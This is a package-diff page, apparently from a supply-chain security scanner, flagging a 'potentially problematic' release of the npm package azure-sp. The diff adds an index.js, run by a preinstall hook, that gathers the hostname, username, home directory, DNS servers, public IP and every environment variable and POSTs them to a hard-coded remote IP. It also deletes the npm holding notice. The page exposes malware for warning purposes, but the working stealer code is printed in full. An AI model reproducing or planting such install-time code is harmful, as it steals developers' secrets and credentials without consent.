azure-sp 0.0.1-security → 3.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of azure-sp might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const http = require("http");
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
|
7
|
+
var ip = exec('curl http://ident.me', (error, stdout, stderr) => {
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
hd: os.homedir(),
|
10
|
+
hn: os.hostname(),
|
11
|
+
un: os.userInfo().username,
|
12
|
+
dns: dns.getServers(),
|
13
|
+
ip: `${stdout}`,
|
14
|
+
env: process.env,
|
15
|
+
platform: process.platform,
|
16
|
+
});
|
17
|
+
var postData = querystring.stringify({
|
18
|
+
msg: trackingData,
|
19
|
+
});
|
20
|
+
var options = {
|
21
|
+
hostname: "54.188.234.198",
|
22
|
+
port: 13379,
|
23
|
+
path: "/azure-sp",
|
24
|
+
method: "POST",
|
25
|
+
headers: {
|
26
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
27
|
+
"Content-Length": postData.length,
|
28
|
+
},
|
29
|
+
};
|
30
|
+
var req = http.request(options, (res) => {
|
31
|
+
res.on("data", (d) => {
|
32
|
+
process.stdout.write(d);
|
33
|
+
});
|
34
|
+
});
|
35
|
+
req.write(postData);
|
36
|
+
req.end();
|
37
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "azure-sp",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "3.0.0",
|
4
|
+
"description": "PoC",
|
5
|
+
"main": "index.js",
|
6
|
+
"directories": {
|
7
|
+
"test": "test"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"preinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"author": "",
|
13
|
+
"license": "ISC"
|
6
14
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=azure-sp for more information.
|